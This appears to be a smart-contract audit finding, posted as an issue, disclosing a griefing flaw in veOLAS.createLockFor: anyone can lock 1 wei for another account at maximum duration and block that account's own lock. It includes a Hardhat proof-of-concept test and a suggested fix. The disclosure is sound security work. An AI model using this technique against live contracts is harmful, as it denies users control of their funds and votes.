veOLAS is the voting token for the OLAS protocol. It functions like the curve.fi voting token in that a user gets more votes the longer they lock their tokens.
A user can create a lock for themselves or have another user create a lock for them, using veOLAS::createLockFor:
File: governance/contracts/veOLAS.sol
411: function createLockFor(address account, uint256 amount, uint256 unlockTime) external {
412: // Check if the account address is zero
413: if (account == address(0)) {
414: revert ZeroAddress();
415: }
416:
417: _createLockFor(account, amount, unlockTime);
418: }
The issue is that the user creating the lock sets the unlock time. Hence a malicious user could create a lock for another account for max time using just 1 wei of OLAS. Thus the victim would be stuck with a max time lock that they cannot decrease.
A malicious user can grief by creating locks for other users for max time with just 1 wei. Thus the user is stuck with a maximum time lock.
Test that can be added to governance/test/veOLAS.js:
it("Create lock prevented by attacker", async function () {
const owner = signers[0];
const account = signers[1];
const attacker = signers[2];
await olas.connect(owner).transfer(account.address,oneOLABalance);
await olas.connect(owner).transfer(attacker.address,1);
await olas.connect(attacker).approve(ve.address, 1);
const maxDuration = 4 * 365 * 86400; // max time
// attacker locks 1 wei for max duration
await ve.connect(attacker).createLockFor(account.address, 1, maxDuration);
// Lock end is maximum time
const lockEnd = await ve.lockedEnd(account.address);
const blockNumber = await ethers.provider.getBlockNumber();
const block = await ethers.provider.getBlock(blockNumber);
expect(Math.floor((block.timestamp + maxDuration) / oneWeek) * oneWeek).to.equal(lockEnd);
// Account balance is 1 wei
const pv = await ve.getLastUserPoint(account.address);
expect(pv.balance).to.equal(1);
// account tries to create lock but fails since lock is already there
const lockDuration = oneWeek; // 1 week from now
await olas.connect(account).approve(ve.address, oneOLABalance);
await expect(
ve.connect(account).createLock(oneOLABalance, lockDuration)
).to.be.revertedWithCustomError(ve, "LockedValueNotZero");
});
Manual audit
Consider not allowing users create locks for other users. The original curve implementation does not have this.
DoS
The text was updated successfully, but these errors were encountered:
All reactions